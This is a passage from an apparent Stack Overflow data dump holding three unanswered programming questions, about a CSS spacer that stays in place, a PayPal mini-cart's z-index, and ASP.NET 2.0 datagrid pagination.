how do i get an div to stay in place while text around it gets bigger or shorter === I have some text and then at the end of that, it has an spacer div which gives a margin gap so it separates it from the text below it. The question is; how do i get the spacer div to stay in place whatever happens, while the length of the text above it gets shorter or longer without bringing the spacer div up in position with the text if the text is shorter? anyone know the css for how to do it? example: loris ipsum, loris ipsum loris ipsum, loris ipsum loris ipsum, loris ipsum loris ipsum, loris ipsum <span class="margin-space"></span> loris ipsum, loris ipsum loris ipsum, loris ipsum how i want it, example: loris ipsum, loris ipsum loris ipsum, loris ipsum <span class="margin-space"></span> loris ipsum, loris ipsum loris ipsum, loris ipsum Hope you understood what I meant, any help?
0
7,309,387
09/05/2011 14:22:20
715,610
04/19/2011 16:27:19
46
0
How to keep paypal mini cart (paypal labs) on top
I have integrated paypal mini-cart into my website but for some reason it is not on top, I have changed the z-index to as high as possible and still no result. It seems to be over everything except the text in the navigation bar (e.g HOME etc) and when the class=current it seems to override it too. Any help on how to solve this would be hugely appreciated!
javascript
html
css
paypal
shopping-cart
null
open
How to keep paypal mini cart (paypal labs) on top === I have integrated paypal mini-cart into my website but for some reason it is not on top, I have changed the z-index to as high as possible and still no result. It seems to be over everything except the text in the navigation bar (e.g HOME etc) and when the class=current it seems to override it too. Any help on how to solve this would be hugely appreciated!
0
4,513,363
12/22/2010 20:22:35
66,384
02/14/2009 08:08:49
775
35
Pagination improvements in ASP.NET 2.0 Grids
I currently have a datagrid bound to a table with tens of thousands of records. I display the datagrid using the existing asp.net 2.0. I show ten records at a time. My problem is whenever I try to access the next page, I gets all the records again from the database and then displays the ones that are required. This is slowing down the app. Is there feature within .net 2.0 which will help me optimize this issue? I cant use third party controls or ajax.
c#
.net
asp.net
datagrid
datagridview
null
open
Pagination improvements in ASP.NET 2.0 Grids === I currently have a datagrid bound to a table with tens of thousands of records. I display the datagrid using the existing asp.net 2.0. I show ten records at a time. My problem is whenever I try to access the next page, I gets all the records again from the database and then displays the ones that are required. This is slowing down the app. Is there feature within .net 2.0 which will help me optimize this issue? I cant use third party controls or ajax.
0